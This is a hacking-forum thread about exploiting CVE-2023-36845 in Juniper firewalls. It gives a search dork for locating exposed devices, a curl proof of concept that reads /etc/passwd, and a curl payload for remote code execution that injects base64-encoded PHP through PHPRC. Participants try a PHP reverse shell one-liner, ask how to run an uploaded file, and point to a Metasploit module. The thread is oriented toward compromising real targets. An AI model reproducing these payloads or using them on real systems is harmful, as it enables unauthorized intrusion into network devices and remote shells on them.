Remote Juniper firewalls vulnerable to CVE-2023-36845

[ski]

This vulnerability scanner can be used to scan Juniper firewalls to determine if they are vulnerable to CVE-2023-36845


Dork : title:"Juniper" http.favicon.hash:2141724739


Poc:
curl <TARGET> -F $'auto_prepend_file="/etc/passwd\n"' -F 'PHPRC=/dev/fd/0'

 

[no1]

You can exploit it like

curl "http://target/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="

PD8KICAgcGhwaW5mbygpOwo/Pg== is <?phpinfo();?> base64 encoded and just like this you can RCE.

Just saying because I did not find a POC for rce

source : https://vulncheck.com/blog/juniper-cve-2023-36845

 

[ski]

You can exploit it like

curl "http://target/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="

PD8KICAgcGhwaW5mbygpOwo/Pg== is <?phpinfo();?> base64 encoded and just like this you can RCE.

Just saying because I did not find a POC for rce

source : https://vulncheck.com/blog/juniper-cve-2023-36845

thanks dude for letting me know. I also found this on Social Media , the poc part

 

[readbooks]

кто поможет, вижу что файл грузится, но не запускается

пробую так
system(\"/tmp/file 2>&1\")

 

[00bit]

You can exploit it like

curl "http://target/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="

PD8KICAgcGhwaW5mbygpOwo/Pg== is <?phpinfo();?> base64 encoded and just like this you can RCE.

Just saying because I did not find a POC for rce

source : https://vulncheck.com/blog/juniper-cve-2023-36845

Have you had any experience using rce?
I tried replacing <?phpinfo();?> with php -r '$sock=fsockopen("IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3");' but reverse shell doesn't work

 

[no1]

Have you had any experience using rce?
I tried replacing <?phpinfo();?> with php -r '$sock=fsockopen("IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3");' but reverse shell doesn't work

I did not try this specific one. Maby try to dig the article -> https://vulncheck.com/blog/juniper-cve-2023-36845
Maby some targets implemented some kind of waf avoiding some payloads to bbe delivred, I don't know.

 

[darksoul]

Have you had any experience using rce?
I tried replacing <?phpinfo();?> with php -r '$sock=fsockopen("IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3");' but reverse shell doesn't work

Juniper Junos OS PHPRC Manipulation RCE (CVE-2023-36845) by jheysel-r7 · Pull Request #18389 · rapid7/metasploit-framework

This module exploits a PHP environment variable manipulation vulnerability affecting Juniper SRX firewalls and EX switches. It basically sets PHPRC to stdin (/dev/fd/0) and then uses some nifty PHP...

github.com